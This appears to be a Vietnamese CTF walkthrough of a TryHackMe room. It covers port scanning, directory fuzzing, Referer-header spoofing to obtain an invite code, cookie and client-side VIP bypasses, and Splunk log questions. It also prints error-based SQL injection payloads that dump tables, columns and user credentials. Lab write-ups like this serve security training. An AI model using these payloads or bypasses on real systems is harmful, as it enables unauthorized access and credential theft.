TryHack3M: Subscribe
Can you help Hack3M reach 3M subscribers?
Initial Reconnaissance
Chúng ta thêm hackme.thm vào file /etc/hosts:
10.10.27.162 hackme.thmService Scanning
Sau đó chạy rustscan để quét toàn bộ port từ 1–65535. Kết quả cho thấy có 6 port đang mở: 22, 80, 8000, 8089, 8191 và 40009.
┌──(hungnt㉿kali)-[~/Documents]
└─$ rustscan -a hackme.thm -r 1-65535 -- --no-nmap
Open 10.10.27.162:22
Open 10.10.27.162:80
Open 10.10.27.162:8000
Open 10.10.27.162:8089
Open 10.10.27.162:8191
Open 10.10.27.162:40009Tiếp tục, chúng ta dùng nmap để quét chi tiết các port này.
┌──(hungnt㉿kali)-[~/Documents]
└─$ sudo nmap -p22,80,8000,8089,8191,40009 -A -v hackme.thm
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 1c:22:17:8e:70:d7:3b:90:e8:de:98:f0:38:02:79:df (RSA)
| 256 be:82:d9:71:e0:9c:ae:a1:7a:3a:80:bc:ce:d1:1b:8d (ECDSA)
|_ 256 e4:de:d6:94:c6:b0:50:72:73:23:0e:b1:61:1f:51:92 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 4CBDD85B914183C3D5D787FC76CF8F71
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Hack3M | Cyber Security Training
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
8000/tcp open http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
|_http-favicon: Unknown favicon MD5: E60C968E8FF3CC2F4FB869588E83AFC6
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://hackme.thm:8000/en-US/account/login?return_to=%2Fen-US%2F
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
8089/tcp open ssl/http Splunkd httpd (free license; remote login disabled)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Issuer: commonName=SplunkCommonCA/organizationName=Splunk/stateOrProvinceName=CA/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-04-05T11:00:59
| Not valid after: 2027-04-05T11:00:59
| MD5: fbd1:3d45:5b13:3737:b1a0:ccdd:6942:e3fe
|_SHA-1: c904:1a43:4a4d:2628:b27b:523a:d15c:e334:902e:cafd
|_http-title: Site doesn't have a title (text/xml; charset=UTF-8).
|_http-server-header: Splunkd
8191/tcp open mongodb MongoDB 3.6 after 3.6.3, or 3.7.3 or later
40009/tcp open http Apache httpd 2.4.41
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.41 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Uptime guess: 20.719 days (since Mon Aug 18 04:24:59 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 222.48 ms 10.11.0.1 (10.11.0.1)
2 223.76 ms hackme.thm (10.10.27.162)Ở port 22, service đang chạy là SSH với OpenSSH 8.2p1 trên Ubuntu. Port 80 serve một trang web với Apache 2.4.41. Port 8000 đang chạy Splunkd httpd, khi truy cập sẽ được redirect đến trang login của Splunk (/en-US/account/login). Port 8089 cũng thuộc về Splunkd nhưng được bảo vệ bằng SSL, phản hồi trả về mã 401 Unauthorized. Port 8191 chạy MongoDB phiên bản 3.6 hoặc cao hơn. Cuối cùng, port 40009 cũng chạy Apache 2.4.41 nhưng trả về status code 403 Forbidden.
SSH 22

Dịch vụ SSH cho phép đăng nhập bằng password, vì vậy chúng ta có thể tìm kiếm password dạng plaintext.
HTTP 80
Front Page

Directory Enumeration
Chúng ta chạy ffuf để scan các thư mục và file ẩn trên website.
┌──(hungnt㉿kali)-[~/Documents]
└─$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://hackme.thm/FUZZ -r -e .php,.txt,.html -t 100 -fc 403
Kết quả cho thấy nhiều file PHP thú vị cần chú ý, gồm có config.php, dashboard.php, login.php, sign_up.php và subscribe.php. Đặc biệt là config.php, bởi file này có thể chứa thông tin nhạy cảm. Tuy nhiên response size của nó lại bằng 0, nên chúng ta cần tìm cách để đọc được source code.
/login.php

/sign_up.php

/img

/js

Trong thư mục javascript, chúng ta phát hiện một file bất thường có tên invite.js. Dựa vào logic trong code, nếu gửi một POST request đến capture3millionsubscribers.thm/invitecode1337HM.php, chúng ta sẽ nhận được invite code.

Đầu tiên, chúng ta thử gửi GET request để xem phản hồi.

Sau đó, chúng ta chỉnh sửa request thành POST bằng Burp Suite. Tuy nhiên, server vẫn trả về lỗi “invalid request method”.

Sau một vài lần thử nghiệm, chúng ta phát hiện server thực hiện kiểm tra Referer header.

Khi đặt referer thành http://capture3millionsubscribers.thm/, chúng ta nhận được invite code thành công.

Nhập invite code này vào trang sign up, và bây giờ chúng ta đã có username và password.
Awesome, you did it! Your username and password are guest@hackme.thm:wedidit1010/dashboard
Sau khi đăng nhập bằng credentials thu được, chúng ta có thể vào được dashboard.

Lý do khiến chúng ta không thể vào VIP room là vì có một cookie tên isVIP với giá trị false.


Chỉ cần chỉnh isVIP thành true thì có thể truy cập, nhưng sau đó vẫn xuất hiện một thông báo alert rằng trang này chỉ dành cho VIP users.

Vì đây là alert nên chắc chắn có một đoạn script chạy phía client.

Kiểm tra source code, chúng ta nhận ra có thể dễ dàng bypass bằng cách vào console và set document.getElementByID("isVIP").value thành true.

Sau đó chúng ta vào được một trang giống như web shell.




Và chúng ta chỉ đọc được file config, trong đó chứa một secure token dùng cho admin panel chạy ở port 40009.
$SECURE_TOKEN= "ACC#SS_TO_ADM1N_P@NEL";
$urlAdminPanel= "http://admin1337special.hackme.thm:40009";Chúng ta thêm domain admin1337special.hackme.thm vào file /etc/hosts.

HTTP 40009
Tuy nhiên khi truy cập site ở port 40009 thì bị 403 Forbidden.

Tiếp theo, chúng ta thử đặt SECURE_TOKEN dưới dạng cookie nhưng cũng không thành công.

Directory Enumeration
Vì vậy, chúng ta tiến hành directory scan xem có trang ẩn nào không.
┌──(hungnt㉿kali)-[~]
└─$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://admin1337special.hackme.thm:40009/public/html/FUZZ -r -e .php,.html -fc 403 -t 100
Và chúng ta phát hiện ra trang login.
/login.php
Tại đây, nhập SECURE_TOKEN thì vẫn cần username và password.

SQL Injection
Qua phân tích, chúng ta thấy chức năng login này bị dính SQL Injection.

Chúng ta sử dụng error-based payload, chúng ta có thể extract dữ liệu từ database.
' union select extractvalue(1, concat(0x3a, version()))-- -
Đầu tiên dump các bảng.
' union select extractvalue(1, concat(0x3a, (select group_concat(table_name) from information_schema.tables where table_schema=database()))),2,3,4,5,6,7-- -
Sau đó dump tên cột trong bảng users.
' union select extractvalue(1, concat(0x3a, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))),2,3,4,5,6,7-- -
Rồi trích xuất được username và password.
' union select extractvalue(1, concat(0x3a, (select group_concat(concat(name, ':', password) separator '\n') from users))),2,3,4,5,6,7-- -
Mặc dù response hiển thị khác, username đúng phải là admin.
admin:adminisadm1n/dashboard
Với thông tin này, chúng ta kích hoạt được chức năng sign up và lấy flag đầu tiên.


Cuối cùng, vì không thể highlight và copy flag trực tiếp trên giao diện web, chúng ta mở source code của trang để lấy flag.

HTTP 8000
Splunk Enterprise là một phần mềm được cài trực tiếp trên máy chủ của tổ chức. Nó giống như một trung tâm dữ liệu, có thể thu thập và lưu trữ mọi loại dữ liệu mà hệ thống tạo ra, ví dụ như log từ server, ứng dụng hay thiết bị cảm biến. Sau đó, Splunk giúp chúng ta tìm kiếm, phân tích và hiển thị dữ liệu đó thành biểu đồ, báo cáo để dễ theo dõi.
Nhờ vậy, Splunk thường được dùng để giám sát an ninh, theo dõi hoạt động hệ thống IT, hoặc hỗ trợ các nhu cầu kinh doanh khác, vì nó cho phép xem dữ liệu và phát hiện vấn đề gần như ngay lập tức.

Bây giờ, chúng ta tìm tại ô Find ở góc trên bên phải giao diện Splunk để tìm câu trả lời cho các câu hỏi được đưa ra.
How many logs are ingested in the Splunk instance?

What is the web hacking tool used by the attacker to exploit the vulnerability on the website? How many total events were observed related to the attack? What is the observed IP address of the attacker?

How many events were observed from the attacker’s IP?

What is the table used by the attacker to execute the attack?
Vì không có dữ liệu POST để kiểm tra, và cũng không có payload nào được đặt trong phần headers, rất có thể payload đã được chèn vào tham số GET. Do đó, chúng ta cần chú ý đến phần uri:

HTTP 8089
